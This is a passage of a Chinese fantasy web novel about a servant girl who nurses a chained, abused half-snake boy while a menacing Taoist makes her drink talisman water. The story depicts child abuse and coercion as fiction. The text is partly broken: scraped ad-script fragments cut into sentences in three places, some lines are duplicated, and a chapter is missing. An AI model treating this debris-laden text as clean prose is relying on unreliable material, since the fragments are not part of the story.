两个护卫不会再限制陶蓉进出西屋,她可以每日都来。 能畅通无阻进入西屋。 陶蓉却并不太高兴。 少爷很脏,也没人帮忙打扫。 这种事,最后还是轮到她来做。 从进入黑屋后,小少爷的那双黄色眼睛,便一瞬不瞬盯着她,和野兽还是很相近的。 这孩子只开了一次口,现在又闭着嘴巴,半天不说话了。 陶蓉叹气。 她先用沾了水的帕子给少爷擦脸、擦手,才让他用饭。 “少爷,奴婢出去一趟,马上就回来。” 小孩抬手就揪住她的袖子,张了张嘴,虽然没说话,但小脸却透露着紧张。 像是又生怕她和上次一样,生气走了。 “小崽子,我回去拿床晾晒好的被子就回来,再给你的小屋打扫一下,松手。” 她有意自称“我”,故意这般语气不耐呵他。 果不其然,小少爷完全没觉得不对。 小孩慢慢松开手。 说了情况后,护卫没有阻止,放她出去。 出门时,她又回头看了一眼。 缩着大铁链的孩子乖巧地坐在地上,没吃饭,直勾勾目送她离开,莫名有些像一条等着主人的可怜小兽。 * 死去嬷嬷的被褥还留着。 按理说,死人睡过的被子该扔掉。 但陶蓉将被套洗过,又将褥子晾晒过三日。 抗着被褥和其余物件,她再次折返回西屋。 日头正盛,陶蓉擦了擦热汗,一向手脚麻利的她此时累得喘气如牛。 这几日面色憔悴,被那药折磨得呕血后,身子骨也弱了。 在护卫惊叹目光下,她先提着扫帚重新进入西屋。 “……啊…” 屋内的小崽子扑了过来,不过这一次,他是欣喜攥着陶蓉的衣角。 “你坐在这,别动。” 下人做久了,心里难免不平衡。 西屋内,没人再盯着她。 少女抬手就指着小少爷,颐指气使:“不,你还是站着,等我打扫干净,才能动。” 小孩站在暗光下,眨了眨眼,双手垂下,被她突然的命令搞得有些无措。 他呆呆立着,真的不动,只盯着陶蓉。 陶蓉笑了。 她就知道,这个小子肯定会听她的话。 毕竟,她是唯一一个对他好的。 “又脏又臭,烦死了。” 陶蓉捂着鼻子,叹气,开始认命的打扫起来。 半个时辰后,西屋好歹扫干净了,她又出门走了一趟。 端了盆和剪子,她放在了小少爷面前,语气不虞。 “蹲下来,我给你剪剪头发。” 他的头发都是污垢,蓬头垢面,每次都遮住脸颊,从缝隙中露出一点死气沉沉的黄眼睛,怎么看,都吓人。 握住剪刀向小孩伸出手时,小少爷身子却开始发抖。 他仍是木木站着,微微仰头看着她,长发下露出的一只眼睛,蔓延恐惧和几分绝望。 “……算了,不剪头发了。” 陶蓉撇嘴,放下了手中的剪刀。 她重新伸出手:“过来,我给你洗头。” 7. 明示 水盆里的清水很清澈。 水盆里的清水很清澈。 结果小孩的头发一浸泡到水里。 水里便成了血水脏水,还有碎小骨头。 忍着嫌弃和作呕,陶蓉换了好几遍水,才硬生生给他洗干净了头。 水是冷的,每一次碰到脑袋,怀里的小孩都在发抖。 她喘了口气,又端了一盆水来。 陶蓉想用汗巾给他擦身。 他又在抖。 双手环在胸前,死活不张开。 少女叹气,嗓音放柔:“有什么好害怕的?我就是给你擦干净。” “你有名字吗?叫什么呀?” “……” “张开手,你真的很臭啊。” “……” 自言自语的少女扯住小孩横在胸口死犟的爪子,一点点扒拉下脏衣服。 “你太脏了,不洗干净,以后我就只能离你远点了。” 小少爷垂着头,湿漉漉的长发淌着水,不再反抗,露出了伤痕累累的胸膛。 都是凹凸不平的疤痕。 胸口那儿,还有一圈密密麻麻黑色的……鳞片。 怪胎心里是恐惧的。 因为他长在胸口的东西,很渗人。 他听过别人骂他,是有竖瞳蛇鳞的怪物。 陶蓉心惊,头皮发麻,撇开眼,假装没看见。 半干半湿的汗巾碰到小孩身体的疤痕,他都一声不吭忍着。 但只要触碰到胸口的鳞片,这小子就会发出轻微的抽气声。 少女擦拭的动作轻了许多,轻声一笑,打趣道: “你知道脏郎(蟑螂)吗?就是墙角污垢里的虫子,那虫子命可硬了,一鞋底拍下去,过了一会它还能爬,就算断了头,还能存活呢。” “还有志高(蚯蚓)。” 牵起小少爷的右手,小拇指和无名指都是残缺的。 她抿唇:“以前我在菜地锄草,锄刀一下去,藏在泥巴地里的志高身体断成两节,结果过了好久,它还活着呢。后来啊,我听别人说,这躲在泥巴地里的志高,就算身体断成两段,一段身体可以再生一段,厉害吧?” “手指断了又没事,你可是比虫子还高大的人啊!比脏郎和志高都强大呢,以后啊,咱们还可以戴手套或者把手藏进袖子里,根本没人注意的。” 小少爷右手搭在她的手上,听得很认真,湿发下遮住的眼睛少了几分诡异空洞,倒真像一个听故事的孩子,显得异常乖顺。 她的掌心是几日前划伤的疤痕,他的手有所残缺。 但对两个都有求生欲的人来说,这并不影响什么。 陶蓉小心给他擦净右手,小孩身子终于不哆嗦了。 她拿出了剪刀。 弯起嘴角,尽量表情温和:“小少爷,放轻松,你指甲太长,会刮伤我,只能给你剪了。” 小孩身子又绷紧了,颤抖的手被她握在手心,半晌,他闭上了眼睛。 少女被小崽子这副壮士赴死的小表情逗乐了。 搞得她要杀他似的。 “放心,我不贴着肉剪,一点都不疼。” 长指甲一个个落下。 不知过了多久,日头下山了。 整整一下午,陶蓉都在西屋打扫。 好歹,总算干净了。 长长叹气,几缕头发凌乱的垂在脸上,累得满头大汗不说,后背也都是黏糊糊的汗液。 木板床上铺好松软的薄被,陶蓉一屁股坐下,头晕眼花,喉咙发干。 “……喝…喝…” 半碗新换的水碗被端过来。 小少爷捧着水碗怯怯端到她面前。 经过她的努力,小崽子从头到脚可以说是焕然一新。 不再是乌七八黑脏污恶臭的小乞丐了。 甚至眼前一亮。 他从未晒过太阳,皮肤白到透明,配合那一双竖瞳,更像是巢穴中人为饲养的小怪物。 穿着她缝制的粗布小衫,遮住脸的长发全部别再耳后,露出一张巴掌大的小脸来。 圆眼,小嘴,鼻梁挺翘,虽然瞧着还是过于瘦巴了,但五官生得倒是不错,是有几分底子的小美人坯子。 少女满意一笑。 “我不渴。” 收拾好食盒,她就该回去了。 “唔……这寿包和糕点怎么都没吃?” 小孩放下水碗,紧跟不舍地走过来,学着她的姿势,小手指也指着盘子里的点心。 “小蓉……你…你吃。” “我不要。” 少女摇头。 水是小崽子喝过的, 他的手应该也碰过点心。 不太干净。 铁门重新被打开。 外头天色渐渐黑下来。 “呦,丫头厉害啊,打扫得这么干净。” 张护卫瞥了一眼屋内,目光诧异地扫向打理整洁的小孩,又蹲在他脚边一盘子里的点心。 语调听不出恭维还是嘲讽:“你倒是对小少爷好,好东西都舍得给他吃。” 陶蓉心里咯噔一响,连忙低头:“今日厨房人太多,这些糕点都是掉在地上才送来的。等日后再带些好酒好菜孝敬两位大哥。” “行了,我们可不是这意思,你回去吧。” 护卫挥挥手,没再说什么。 * 陶蓉腰酸手疼,异常疲惫。 换干净衣衫时,正巧又赶上来癸水。 天黑了。 厨房那边没有吩咐她再做什么事。 便偷了懒,早早上榻入睡。 不知睡了多久,窗外一片漆黑。 而床边的黑影映入眼帘。 喉咙刚发出一声短促的尖叫,便听见低低笑意。 “小蓉儿,你有时候胆子也忒小了。” 是玉霖道长。 第二次,他站在她床头恐吓她。 道士拂袖,床头柜上的煤油灯自燃亮起。 眼前的道士没穿灰色道袍。 难得换了一身月牙长衫。 墨发修眉,瞳如点漆,面如冠玉,清隽绝伦。 今夜的道长,少了几分清冷端持,往日浅淡的唇色变得殷红润泽,瞧着更为随和俊美了。 “道……道长。” 少女情不自禁咽了咽口水。 揉了揉睡眼惺忪的眼:“您怎么来了?可是有什么要紧事?” “不算要紧事。” 一碗盛着灰烬的水递来。 青年道士语气很柔和:“只是你今日去给少爷送饭,怕你受了惊,特意来给你送符水来了。” 大半夜特意来送碗符水? 少女垂眸,盯着那碗。 道长说,符水有清神明目之效,能让人心生恐惧受到惊吓之人,安神静气。 护卫听命于道长。 道长明知道,她已经不怕少爷了。 未生恐惧,也未受到惊吓。 为何,他还要让她喝? 更大的迷雾,弥漫在心底。 端着符水,少女迟迟未动作。 “小蓉儿,你在担心什么?” 低醇悦耳的嗓音传来,陶蓉抬眸,正巧对上道士那双幽深黑眸。 他嘴唇上扬,半张俊朗面目的侧颜打上暗影,明晃晃的烛火下,青年眉眼温和,却莫名阴凉。 “你不信我?” 陶蓉脊背发凉。 周围的空气变得稀缺起来,无形的凉意和压力,在慢慢逼近她。 她还有得选择吗? “奴婢…现在就喝。” 在注视下,陶蓉将符水一滴不剩喝下了肚。 “小蓉儿真乖。” 冰凉的手抚去她唇角沾染的符灰。 可陶蓉低着头,全身紧绷。 她只想等他走。 “这段时日,你好像与我生分了。” 青年坐在塌边,反倒不急于离开。 白日装道士,晚上挖人心。 他抿唇一笑,静静凝着眼前的少女。 少女穿着单薄里衣,唇色微微发白,秀气的眉眼几分恬淡素净。 很普通的姿色,他却多看好几眼。 如若这丫头知道,上次吻她的是个十恶不赦的妖物,不知道,她还能不能如此温顺坐在他面前。 不,多半也会和夜半他站在她床侧恐吓她一般,吓出浑身冷汗,险些失了魂。 “蓉儿,你可是还怨我,让你去给少爷送饭之事?” “还是怪我这段时日不够关心你?” 他握住少女的手。 却发觉她向来温热暖和的手心很凉。 “奴婢怎么会。” 少女咬唇,小腹绞痛,搭在被褥上的手慢慢握紧。 每次来癸水后,总要会疼得厉害些。 陶蓉觉得挺可笑的。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>他明明说,让她做好分内之事便行。 如今,她一日比一日用心照顾怪胎少爷。 结果大半夜他却神不知鬼不觉来恐吓她。 精神本就不太好,还要听他盘问这些有的没的。 “你怎么了?脸色不好。” “道长,不是奴婢有意冒犯您,只是奴婢…身子实在不舒服……” “是何缘故?” 陶蓉顿住:“应是奴婢近来身子骨弱,喝了有灵效的符水承受不住。” “道长,日后便别浪费您的灵符了,奴婢忍忍就好,受点惊吓没什么的。” “哦,是么?” 玉霖捏住了她的细腕。 陶蓉不明白他的用意,便见青年道士轻挑眉峰。 “气血充盈,脉搏细弱弦滑,我摸着,像是来癸水了。” 陶蓉小脸窘迫,没想到这邪气道士还会号脉。 “刚刚喝了符水下肚才见疼,是奴婢弄错了。” 耳际传来冷沉一笑。 也不知道是在笑陶蓉假话被戳穿,还是笑她不自量力动小心思。 煤油灯燃尽了。 道长松开她的手。 陶蓉同样松了口气。 * “阿丑。” 应是很久远的记忆了。 从前,也有人这样喊过怪胎。 他坐在木板床上,静悄悄盯着陶蓉。 习惯在黑暗中窥伺别人。 在怪胎的目光所及之处,陶蓉后背对着他,屈膝蹲着,灌满他喝水的大碗。 要换以前,他会张开嘴,扑过去,啃住她的后脖子,那是人最脆弱的致命处。 一般咬死脖子,骂他打他的人,都挣扎不得,无法动弹。 “这水碗也要次次换,这黑屋里会爬进来小虫子,有些虫子吃进肚子会得病的,你以前当然是无所谓,不过我来了,总还是还多注意一点。” 否则生病了,道长怪罪她,真是倒了霉。 “过来。” 他打了一个激灵,她在喊他。 听话走过去。 瘦弱的小身板站在她身后,视线和半蹲着的丫环人头持平。 怪胎静默立着,抬手隔空一抓。 不敢碰到她。 眼前说话的人,却好像就能碎掉了,眨眼间就能消失。 所以他呼吸放轻。 “听说,你叫薛丑啊?” 陶蓉转过身来,撇撇嘴:“这算什么名字,还没有旺财来福好听呢。” “算了,丑少爷,我给你擦擦手。” “道长今日特意嘱咐,少爷的吃穿都不能再随便应付,你看啊,排骨和乳鸽汤,都是采买的家丁特意吩咐我给你煲的。” 心里有几分复杂。 眼下,明眼人都看得出,道长对少爷很重视。 糟糕的境遇,突然朝着好的方向发展。 府内采买的家丁又出府给少爷去了,据说除了鞋子和丝绸料子的衣服褂子,还会给少爷购置一应俱全的家具器皿。 甚至听闻不久后,少爷约要搬离西屋,换到更大的住处。 那屋子里不仅备了文房四宝,道长还会亲自教导少爷识文断字。 这样看来,道长的目的突然变得明朗许多。 陶蓉深思熟虑,左思右想,猜想是玉霖道士看中了这怪胎的根骨。 道士嘛,不图钱不图利,收个徒弟继承衣钵倒是很有可能。 以前怪胎对人戒备,不好驯服,如今这怪胎不咬人,也能开口说话,变得温顺听话。 道士多半真有收徒的心思。 怪胎存活至今,没成想还有脱胎换骨的可能。 一人得道鸡犬升天。 心头一紧,少女有了几分懊恼。 这几日,少爷但凡不听话,她可是张口就训话。 态度少了随意,多了几分毕恭毕敬。 她笑眯眯端着盘子过去,带着小心思,灌输自己的重要性。 “小少爷,奴婢辛辛苦苦照顾了您这么久,也受了很多伤吃了很多苦,以后不论是谁,发生什么事,您要记住,奴婢就是您心里第一重要的人!” 支起耳,怪胎睁着骨碌碌瞳孔,有些茫然地望着眼前的陶蓉。 话,他听懂了。 端来的肉,很香。 他递过去,嘴角不由自主微微弯着:“小……小蓉……你你吃。” 8. 新生 如她所料,三日后。 如她所料,三日后。 怪胎少爷双眼蒙着绸布,脖颈上是一圈圈的勒痕,他身上穿着陶蓉东拼西凑缝制的单薄粗衫。 一瘸一拐,长久关押在黑屋的小怪胎,不知是鼓起多大勇气,才跟着陶蓉走出来。 温暖的光,耳中清晰感听到的人声……难以形容陌生的屋外世界,都令怪胎恐惧。 “这谁敢上前啊?” “要是…怪胎…少爷突然发狂,咬人怎么办?” 玉霖道长下令,即日起,少爷将搬去宽敞的堂屋住,还拨了几个下人前去伺候。 而今,不幸被指派来的丫鬟和小厮退避三舍,窃窃私语,没有一个人敢上前的。 即使看守的两个健壮护卫,此时也不敢冒然近身。 “放心,少爷现在不伤人。” 在众人僵硬的视线中,唯独陶蓉游刃有余,从容镇定。 如今她成了少爷唯一一个贴身丫鬟,虽然还是下人,但至少不会再遭受同为下人们的白眼了。 “少爷怕生,你们两人,先下去准备热水,待会少爷要洗澡。” “是。”小厮老实应了。 小怪胎走出了黑屋,恢复了尊贵少爷的身份。 陶蓉暂时放下怪胎咬过她的成见,怎么看手中牵着的蒙眼小孩,都觉得几分可爱。 脚下是台阶,瞥向少爷连一双好鞋都没有的脚,蹲下身,她软声道:“少爷,奴婢抱着您吧。” 托住少爷的背和屁股,直接将他抱了起来。 小怪胎很轻,抱着不算吃力。 只不过陶蓉第一次抱他,他蒙着眼,显得有些无措。 紧紧揪住她的衣襟,表情呆滞,嘴巴微张,两排锋利密集的尖牙隐约露出。 余下的四名丫鬟不寒而栗,完全不敢吱声,生怕下一秒就见了血。 “你们也不用跟着,下去准备一下午膳,少爷正是长身体的时候,菜食荤素都需有,瓷勺换成银勺,少爷喜吃甜食,饭后再备些点心吧。” “是,小蓉姐。”四个丫鬟们匆匆退下。 * 堂屋和那小黑屋可真是天壤之别。 不再是封死的门窗、闭塞的小屋。 堂屋很敞亮,几个楠木窗全开着,和煦日光透进来,采光极好。 屋内摆设一应俱全,楠木桌椅,黄花梨木床榻,展示珍宝古玩的博古架…… 陶蓉怔怔望着这些昂贵之物,蓦地明白自己还是有些低估了这小怪胎的重要性。 两个护卫跟着守在了门外,而小厮没多久便来回禀浴桶和少爷的衣物已备好。 氤氲的汤房,陶蓉把小怪胎衣服脱了,谁知触落了他眼睛上的绸布。 软布轻飘飘落进浴桶里,陶蓉俯身正要抱小孩入浴桶。 结果怪胎睁开眼,当即竖瞳缩了又缩。 仿若受了惊吓的野兔,对着浴桶一通踢踹不说,还死死扒住陶蓉的双臂,死活不进桶。 “啪嗒”水花四溅。 少女闭眼,扑了一脸水。 “呸!”衣衫溅了热水,额发也湿漉漉贴在她脑门上。 而怀里的小怪胎还在拼命踢动,“哐当”一声,浴桶木头裂开,浴桶里的水就如倾斜的山洪,哗啦啦全部淌出来。 鞋子和裙边都湿透了。 陶蓉嘴唇紧抿,努力压抑着内心的恼火与不满,她松开了手。 薛丑赤着脚丫,站到泡着水的地板上。 屋内就两人,一高一矮大眼瞪着呆小眼,陶蓉忍了忍,还是想开口责备。 谁知小怪物瞬间安静下来。 踉跄着去捡起被陶蓉丢弃在地被水冲到门角的旧衣服,也不顾湿了还是脏的,只迅速套回身上。 衣服穿反了,他没觉得不对。 只是不舍地指了指身上的衣服,摇摇头,又仰头看着她。 “不…扔。” 陶蓉皱眉,头发还滴着水,淌在脸颊上,滚落到下巴尖。 薛丑直勾勾盯着她,又低头瞧地上还在流动的水。 或许他才意识到是自己踢破了桶,做了错事,主动上前,踮起脚伸出小手去够她的脸。 “小……蓉,对……对不起。” 薛丑说话依旧不利索,小脸上带有几分无助和慌张。 这是第二次,小怪物和她道歉。 少女眸光闪烁,咽下了一肚子的怨言,蹲下身来。 感受着那同样粗糙的干瘦小手,抹掉她脸颊和下巴的水珠。 抬眼,小怪物的脸很清晰。 也很稚嫩,竖瞳孔微微变圆,看人时的眼神依旧较为木讷呆滞,可陶蓉却恍惚觉着自己有了一种与小猫对视的错觉。 捡起水淋淋的绸布,晾在屏风上。 屏风旁的柜子里还摆着少爷的新衣服,上等丝绸面料,还有精美刺绣,怎么说都要好几两银子。 果然,只有不得人关心的傻子,才会看也不看好衣服,一心只想着被她丢在地上不要的粗布衣。 毕竟,那身破洞拼接而成的粗布衣,是她送给他的。 在这个世界上,她可算是唯一一个对小怪胎好的人。 恼火的心绪,很快就烟消云散了。 “少爷,刚才那个木桶,是给你洗澡的,就和奴婢上次给你用盆里的水擦身体一样,我们人身上都有污泥,不洗澡就有不好闻的臭味,奴婢就不喜欢了。” “少爷啊,那桶只是看起来大,但水不算深,你坐下去水只是漫过肩膀,以后奴婢让人给你换一张小点的浴桶,这样你就不会害怕了。” “还有你这身衣服,是粗布,穿着既不舒服也不好看,而且湿淋淋不能穿了,会着凉的。以后你穿这种料子新衣服,滑溜溜的,一点也不磨皮肤,也才会真正像个富家少爷。” 陶蓉以前每次带她两个顽劣弟弟,别说教导了,简直就是对牛弹琴。 但凡好心说教两句,弟弟们便会找爹娘,弄得她无故遭骂,里外不是人。 此时,望着眼前认真倾听的薛丑。 少女默默打定主意,再用心对待他一点吧。 毕竟,一荣俱荣一损俱损。 薛丑少爷,也算是她的小主子。 * 换了新的浴桶,即使不蒙绸布,但待在陶蓉身边,对方老实了许多。 他年纪小,心思简单,没有生出羞耻心,乖乖坐在桶里,任由她用皂角给他搓澡。 只是这小崽子眼睛盯着搭在一旁的旧衣服上,偷偷瘪起了嘴。 陶蓉笑了笑,给他换上了比较宽松的新衣衫,花费不少时间给他绞干头发。 几个丫鬟一直在等着薛丑回来用午膳。 四菜一汤,香气扑鼻,和以前比天差地别。 “小蓉姐。” 同在一屋,四个丫鬟站得远远的,满脸惧意,眼神都不敢多瞟一眼她身边的小怪物。 “你们不用近身伺候少爷,我来就行。” 等四人目露感激退下后,陶蓉轻轻咳嗽一声,也厚着脸皮坐下。 “少爷,你太瘦了,还在长身体,这个肉啊,要多吃点。” 她夹了一块红烧肉给薛丑,顺道自然而然往自己嘴里塞了一块。 有点油腻,对很少沾荤腥的她来 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 说,却是美味佳肴。 她是下人,尊卑有序,不该和少爷进食。 可薛丑什么都不懂。 最好欺负了。 “少爷,这肉丸,是上好的精肉剁的,味道滑润,一口咬开后能够流出肉汁……” 她给自己嘴里塞了两个,吃得很快,囫囵咽下,表情餍足。 好久没有吃过肉,以前在家只有每逢过年才吃上一口。 甚至还要背着家里人心惊胆战偷吃。 在府内也是馒头青菜吃得多。 没成想跟着小怪物,以后能天天当面蹭肉吃。 她低头,不自觉想薛丑更讨人喜欢了,笑眯眯去看他。 谁料一双黄眼珠也在呆呆盯着她。 四目相对,陶蓉夹给他的红烧肉他一口没吃。 陶蓉这才发觉,他不会用筷子,握在手心里的银勺子他也不会用,注意力还全被她狼吞虎咽的模样吸引了去。 少女表情微囧,起身去教他如何用勺子。 “少爷,这是勺口,这是勺柄,你的小手握住勺柄,像这样用勺口对着米饭舀取……” 小崽子学的认真,颤巍巍舀了米饭上的红烧肉,却递到她的嘴边。 “小蓉,你…快…吃。” “……”少女眨了眨眼,脸颊发红。 眼前的小怪胎,比她亲弟弟,还看着舒服讨喜。 门口还站着护卫呢,虽然不会进来,但听到不好。 咽了咽口水,她有些尴尬,冠冕堂皇解释:“少爷,奴婢怕您吃不习惯,刚刚才替您尝尝这个菜的味道,再不吃了,您自己吃。” “这种事情可不能传出去呀。”她低声告诫。 “嗒”薛丑勺子里的红烧肉掉在桌上。 陶蓉眼疾手快,将桌上干净的肉捡回了嘴里。 “少爷,您是主子,这菜掉桌上您就不能吃了,来,吃盘子里的。” 小怪胎也学着她眨了眨眼睛,嘴角弯弯。 “好、小蓉。” * 用过饭后,玉霖道士来了。 他手里,卷着一本经书。 一袭鸦青色道袍,犹如置身于泼墨山水画的仙人,身姿英挺,仿若修竹,举手投足间,都透露出一种超凡脱俗的气质。 道士的皮相,是绝佳的。 至今是她见过最俊美的男子。 “小蓉儿,少爷呢?” 陶蓉默默停下收拾餐盘的手,低下头:“小少爷在……书房看书。” “哦?”青年挑眉,疑惑不解:“他自个学会了认字?” “奴婢不知。” 道士轻笑。 斟了一杯热茶,当她的面,指尖亮出一张符箓,无风自燃,落入茶水里。 “小蓉儿,你这段时日好似忘喝符水了。” “……”手心又开始无端冒汗。 少女脸色苍白,嘴唇微颤,慢吞吞接过道士三指捏着的杯盏。 抬眸,玉霖道士嘴角挂着微笑,笑容温暖如春日阳光,陶蓉却只感觉到无法言喻的杂乱。 这符水不对劲。 “蓉儿,你在想什么?” 青年目光像是在看待一个不懂事的小丫头。 低笑一声,扣住她的手腕。 冰凉的体温,清冽的香气…… 少女暗暗紧握杯壁,抿住唇。谁知眼睁睁看着道士握着她的手,启唇一口饮尽符水。 他毫无血色的嘴唇沾着水泽,显出柔软莹润之感。 青年眸光黯然,眉眼悲伤。 “蓉儿,你若一直信我就好了。” 10. 睁眼 陶蓉用褥子怀抱着半人半身的玩意,双手发颤,恐惧却一点点消散,只余复杂的悲痛。 “快去找道长来!” 小厮和丫鬟都挤在门外,不敢进来,最后张护卫应了声。 玉霖道士来时,跪在床榻旁的少女刚好沉默回头。 她发丝凌乱,唇色发白,衣怀和悬空的双手都是血渍。 “道长,为什么会流这么多血?” 少女双目发红,杏眼沁水,惊疑瞧着他。 鼻息都是萦绕不散的腥味。 玉霖屏息,缓步走过去,将全身出血的薛丑好好凝看,不咸不淡安抚:“蛇妖喝了药液,自然是会如此,莫要惊慌。” 拿出丹丸塞给半死不活的孩子。 玉霖眼中极快闪过一丝残忍之色。 这八年来,奉命来好好磨砺这孩子,他并非不能动手。 只是不愿亲自去做,毕竟是妖王之子,日后若是他当真归回妖界,若有心报复,自己只有死路一条。 所以这种里外不讨好的事,只有假手于人。 这孩子的人间父母、乳母、无数个送饭的下人都是刺向薛丑的一把利刃。 而今,他感受不到人间半点温情,唯一能信赖的人,只有陶蓉。 可眼下这个小小的凡人少女,也不过击溃这孩子的最后一根稻草。 * 小怪胎醒了。 手脚都是鳞片,全身依旧疼痛难忍。 他微微睁眼,屋外透进来的日光显得很刺目。 虚弱地半眯着眼睛,他隐约看见爬在床榻边的陶蓉。 “小…蓉…” 视线中的模糊身影变得渐渐清晰,他抬手,想去触碰他的亲人。 只是手背丑陋。 他怯懦缩手。 “你醒了?” 陶蓉一夜未瞌眼,等到薛丑情况好转,呼吸平稳了些,才架不住昏睡了半刻。 她眼中的激动喜色根本抑制不住,见小少爷醒了,握紧他缩回的手,立刻道歉。 “少爷,日后奴婢再也不给您喝那东西了,只要你没事就好。” 小炉灶熬煮的甜粥散发出清香,少女吹了热气,一口一口小心喂着榻上的孩子。 他还不习惯被人喂,昨夜发生的事也让他内心有几分阴影。 他痛的失神,却记得自己是喝下那碗水又变成了怪物。 比那个女人用匕首刺入他的身体,还要疼得多。 “少爷,您怪奴婢吧,是奴婢不好。” 小怪胎缩着身子,怯生生张嘴,忍住不咬碎银勺,眼神飞快看了一眼陶蓉。 她的脸上流出水一眼的东西,一串一串,像是……小虫子或米粒。 怪? 他摇摇头。 所有人都是这么对他的,他也惧怕所有人。 陶蓉这样对他,也没关系。 而且,陶蓉只是对他坏一次,其它时候,对他真好。 就如嘴巴的粥,是她喂的,很香,好吃的让人想把舌头也咽下去。 从她的口中,他才慢慢了解,这种味道叫做“甜”。 甜的热粥,甜糕,汤圆,南瓜,还有她第一次见他的时候,他明明都恶狠狠咬了她。 可她却丢了“甜味”的糕点给他吃。 “小蓉……对…对不起…你不要…讨厌我。” 少女道歉的话语戛然而止。 “小傻子。” 她擦掉了眼睛下水一样的东西,扑哧一笑。 * 发了那一次事情以后,陶蓉没见过这种场面。 人化了尾巴,满眼都是血色。 就算如道长所说,薛丑身体内潜伏了蛇妖,但是她再也不愿意成为一个帮凶。 斩妖除魔是道士的事,这种事就算早晚会发生,但她不应该插手。 还好,玉霖道士没有再强硬要求她,也鲜少再露面了。 甚至,说那一剂祛除妖气的药液下肚,少爷体内的蛇妖可以多再封印一阵子。 可以多相安无事一日,那都是好的。 余下的日子里,许是内心的愧疚久久难散,陶蓉照顾起薛丑,倒是真倾注了满满善心,当做自己的弟弟来养。 不,对待自己的弟弟,都没有如此温声细语。 囚、禁在黑屋里的小孩什么也不懂,他起初怕日光,一出门都闭着眼,甚至害怕走动出屋。 陶蓉便给他用亮色绸布轻轻蒙住眼,在晴朗明媚的日子里,牵着他出门,坐在藤椅上晒太阳。 温暖的阳光沐浴在小孩的身上,他四肢上显露的鳞片已经退却了,只是整个人坐在过大的院子里,就像食草牛羊暴露在四方八方潜藏的狩猎者中心,常常会令他不安。 陶蓉轻声哄着他,寸步不离陪着他,乃至于时时刻刻牵着他的手,小孩总算安心下来。 过了两日,他渐渐适应了眼中特意弄出半条缝隙的暗光,少女才摘了绸布,拉他出屋去识物。 她也不太擅长教孩子,但清楚对于这种性子极为孤僻封闭的小孩,最应该做的就是多和他说话。 先是将这个院子的摆设,从脚下的石砖开始讲,又讲到鞋子的款式,衣服料子,头发长短,头顶的云,昼夜分布的太阳和月亮。 “那…是…什么?” 陶蓉扬起的嘴角立即就僵了。 生着青苔的墙头上,不知何时盘踞着一条手指粗细的红蛇。 瞧着,像是赤链蛇。 从前在乡下,草丛里不知道遇到过多少次蛇。甚至天气热,路边还能看见躺着一条菜花蛇挡路。 蛇肉可是好东西,清凉解火,蛇咬人,同样,但凡村里有汉子碰到这玩意,总会下手为强,锄头对准舌头敲几次,勾了蛇身,就拿回家剥皮去了。 陶蓉怕蛇,这东西离得近,颜色瞧着也有毒,吐着细长分叉的信子,探头瞧准这边。 她拉着小孩往后退,来不及避讳,口无遮挡道:“张大哥,有毒蛇!快去打!” 护卫随身带刀,身手不凡,比村庄里的汉子胆子还大。 他拔出刀,也没有多说,走过去,刀刃一砍,就砍断了蛇头。 鲜血飞溅,蛇尾缠住刀峰挣扎了几下,无力掉下墙头。 陶蓉重重松了一口气,而怀里的小孩,身子却微微一颤。 想必是他体内的蛇妖害怕了,陶蓉暗忖。 拍了拍小孩的后背,讪讪解释,却是越描越黑:“少爷,你别怕,你是人,不是畜生,和这条蛇不一样。” 等着院子里打扫的小厮过来处理打扫,她拉着人,想进屋缓缓。 谁知身后的小手轻轻一拉。 回头,小孩空旷浅淡的眼睛微微一亮。 顺着他的视线,陶蓉好笑的望着脚下一只蛐蛐。 蹲了下来,刚下介绍,谁知小孩抬手一抓,拳头握紧。 “少爷…” 她抓起小孩的手。 小孩兴奋转为茫然,松开手,那只刚从草丛里蹦出来的蛐蛐,眨眼间就被捏死了。 “…你”陶蓉嫌弃皱眉,拿出帕子去擦手心:“很脏,以后不能这样。” 小怪胎脸上都是迷惘困惑。 他以前饿的时候,吃过不少这样的虫子。 掐死虫子,是下意识做出来的。 可他这段时间自己看了不少书,也听过陶蓉讲过很多话。 “很脏”他听懂了。 也后知后觉意识到,他这种行为,很不好。 “ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 对…不…起。” 薛丑低下头,牢牢揪住她的衣角,情绪低落。 他是个怪物,也有一条长尾巴,他什么也不懂,也不讨人喜欢。 以后要小心一点,不能让陶蓉讨厌。 * 将院子里所有的东西都认了一遍后,薛丑说话利索了很多。 他很喜欢模仿陶蓉。 更喜欢听她夸奖他。 在某一日的午后,陶蓉拿来了一个新奇的东西。 她提着一个小笼子,说笼子里那是一只鸟,叫做“百灵”。 她还说,府内都被隔绝了,可没有这样叫声清脆悦耳的小动物,是求了道长后,才特意从府外买来送给少爷的小宠物。 看着那只鸟,薛丑却想起了府内那条被砍死的蛇。 在这个陌生的地方,听陶蓉说了这么东西,可薛丑还是不明白,这只鸟,和那条蛇有什么区别。 他默默地望着小蓉,温柔小心的抚摸那只“百灵”。 可“百灵”一直在躲着她的手指。 他微微皱眉。 为什么这笼子里的小东西,她就那么喜欢呢?那条蛇…明明和他一样,也有细长的尾巴,可她却那么讨厌? “少爷,您喜欢吧?是不是很可爱?” 小薛丑直勾勾盯着陶蓉。 点头,学着她一样弯起嘴唇:“小蓉,我喜欢。” * 因为他那句喜欢,所以陶蓉特意将那只鸟,挂在他床侧的窗户边。 陶蓉每天都陪着他。 比以前还要对他好。 晚上,给他‘盥洗’过后,陶蓉还坐在床边守着他。 她拍着他的小胸口,口中哼着什么零散的小曲儿,她说那是摇篮曲…像是对待珍宝一般关心爱护他。 “小少爷,睡吧睡吧。” 她每每笑起来的时候,眼睛都是眯起来,里面盛着的是他仅见过最温暖的东西。 滚烫、炽热,带着甜味儿。 他安静地望着她这双灿烂的笑颜,全部记在心里。 慢慢闭上眼睛,床边的亲人还在,他就这样,很轻松地入睡了。 从前,在黑屋里,他闭上眼只会感觉饥饿,或是那些陌生人厌恶他的脸。 他不知道为什么自己会存在,没有眷恋过什么,也没有清醒地想要什么。 可现在,闭上眼,那开始第一次做梦。梦里初次浮现陶蓉笑脸,仰头是小院子,阳光云朵、花草、树木…… 